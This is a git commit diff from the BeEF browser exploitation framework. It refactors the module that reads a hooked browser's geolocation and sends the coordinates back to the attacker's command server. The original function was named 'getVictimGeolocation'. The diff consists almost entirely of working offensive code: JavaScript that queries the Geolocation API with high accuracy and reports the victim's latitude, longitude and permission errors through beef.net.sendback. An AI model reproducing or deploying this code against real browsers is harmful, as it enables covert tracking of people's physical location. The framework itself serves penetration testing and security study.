updated physical location code
git-svn-id: https://beef.googlecode.com/svn/trunk@524 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -9,35 +9,47 @@ beef.geolocation = {
|
||||
* check if browser supports the geolocation API
|
||||
*/
|
||||
isGeolocationEnabled: function(){
|
||||
var isEnabled = false;
|
||||
|
||||
if (navigator.geolocation) {
|
||||
isEnabled = true;
|
||||
}
|
||||
|
||||
return isEnabled;
|
||||
return !!navigator.geolocation;
|
||||
},
|
||||
|
||||
/*
|
||||
* retrieve latitude/longitude using the geolocation API
|
||||
*/
|
||||
getVictimGeolocation: function (command_url, command_id){
|
||||
//var result = null;
|
||||
getGeolocation: function (command_url, command_id){
|
||||
|
||||
if (navigator.geolocation) {
|
||||
navigator.geolocation.getCurrentPosition(
|
||||
function(position){ //note: this is an async call
|
||||
if (!navigator.geolocation) {
|
||||
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
|
||||
navigator.geolocation.getCurrentPosition( //note: this is an async call
|
||||
function(position){ // success
|
||||
var latitude = position.coords.latitude;
|
||||
var longitude = position.coords.longitude;
|
||||
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude);
|
||||
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True");
|
||||
|
||||
}, function(position){
|
||||
beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR");
|
||||
});
|
||||
} else {
|
||||
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED");
|
||||
}
|
||||
}, function(error){ // failure
|
||||
switch(error.code) // Returns 0-3
|
||||
{
|
||||
case 0:
|
||||
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||
return;
|
||||
case 1:
|
||||
beef.net.sendback(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
|
||||
return;
|
||||
case 2:
|
||||
beef.net.sendback(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
|
||||
return;
|
||||
case 3:
|
||||
beef.net.sendback(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
|
||||
return;
|
||||
}
|
||||
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
|
||||
},
|
||||
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
beef.regCmp('beef.geolocation');
|
||||
@@ -1,9 +1,11 @@
|
||||
beef.execute(function() {
|
||||
|
||||
if(beef.geolocation.isGeolocationEnabled()){
|
||||
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
|
||||
}else{
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
|
||||
if(!beef.geolocation.isGeolocationEnabled()){
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude=");
|
||||
return;
|
||||
}
|
||||
|
||||
beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>);
|
||||
|
||||
});
|
||||
|
||||
|
||||
Reference in New Issue
Block a user